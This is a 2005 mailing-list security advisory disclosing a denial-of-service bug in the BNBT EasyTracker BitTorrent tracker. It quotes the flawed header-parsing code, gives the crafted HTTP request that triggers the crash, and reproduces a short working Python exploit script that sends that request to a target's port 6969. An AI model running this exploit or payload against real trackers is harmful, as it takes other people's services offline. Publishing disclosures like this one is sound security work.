[NT] BNBT EasyTracker DoS

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  BNBT EasyTracker DoS
------------------------------------------------------------------------


SUMMARY

"The  <http://bnbteasytracker.sourceforge.net/> Trinity Edition of BNBT 
(TrinEdit)   a modified version of BNBT, whose C++ source can be compiled 
for any operating system; BNBT EasyTracker a Windows Installer for The 
Trinity Edition of BNBT, a C++ BitTorrent Tracker."

A Denial of Service vulnerability exists within BNBT which allows an 
attacker to cause the BNBT to stop responding.

DETAILS

Vulnerable Systems:
 * BNBT version 7.7r3.2004.10.27 and prior

A specifically crafted HTTP request will cause the BNBT Server stop 
responding.

By Sending a request such as "GET /index.htm HTTP/1.1\r\n:\r\n\r\n" will 
cause the DoS. It seems that the bug is located in client.cpp, "//grab 
headers" section.

Code snips:
 client.cpp:
// grab headers

string :: size_type iNewLine = m_strReceiveBuf.find( "\r\n" );
string :: size_type iDoubleNewLine = m_strReceiveBuf.find( "\r\n\r\n" );

strTemp = m_strReceiveBuf.substr( iNewLine + strlen( "\r\n" ),
iDoubleNewLine - iNewLine - strlen( "\r\n" ) );

while( 1 )
{
string :: size_type iSplit = strTemp.find( ":" );
string :: size_type iEnd = strTemp.find( "\r\n" );

if( iSplit == string :: npos )
{
UTIL_LogPrint( "client warning - malformed HTTP request (bad header)\n" );

break;
}

string strKey = strTemp.substr( 0, iSplit );
string strValue = strTemp.substr( iSplit + strlen( ": " ), iEnd - iSplit -
strlen( "\r\n" ) );//Bug here ??

rqst.mapHeaders.insert( pair<string, string>( strKey, strValue ) );

strTemp = strTemp.substr( iEnd + strlen( "\r\n" ) );

if( iEnd == string :: npos )
break;
}

Disclosure Timeline:
2005.08.22 Vendor notified via Webform,no email found
2005.08.30 Vendor no response. Advisory Released

Exploit:
//BNBTDOS.py
# BNBT EasyTracker Remote D.O.S Exploit
# Bug discoverd and coded by Sowhat
# http://secway.org

# Version 7.7r3.2004.10.27 and below
# the BNBT project: http://bnbteasytracker.sourceforge.net/

import sys
import string
import socket

if (len(sys.argv) != 2):
print "\nUsage: " + sys.argv[0] + " TargetIP\n"
print "#################################"
print "# #"
print "# BNBT EasyTracker Remote D.O.S Exploit #"
print "# Bug discoverd and coded by Sowhat #"
print "# http://secway.org #"
print "#################################"
sys.exit(0)

host = sys.argv[1]
port = 6969

payload = "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.send(payload)

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:smaillist@xxxxxxxxx> Sowhat.
The original article can be found at:  
<http://secway.org/advisory/AD20050830.txt> 
http://secway.org/advisory/AD20050830.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.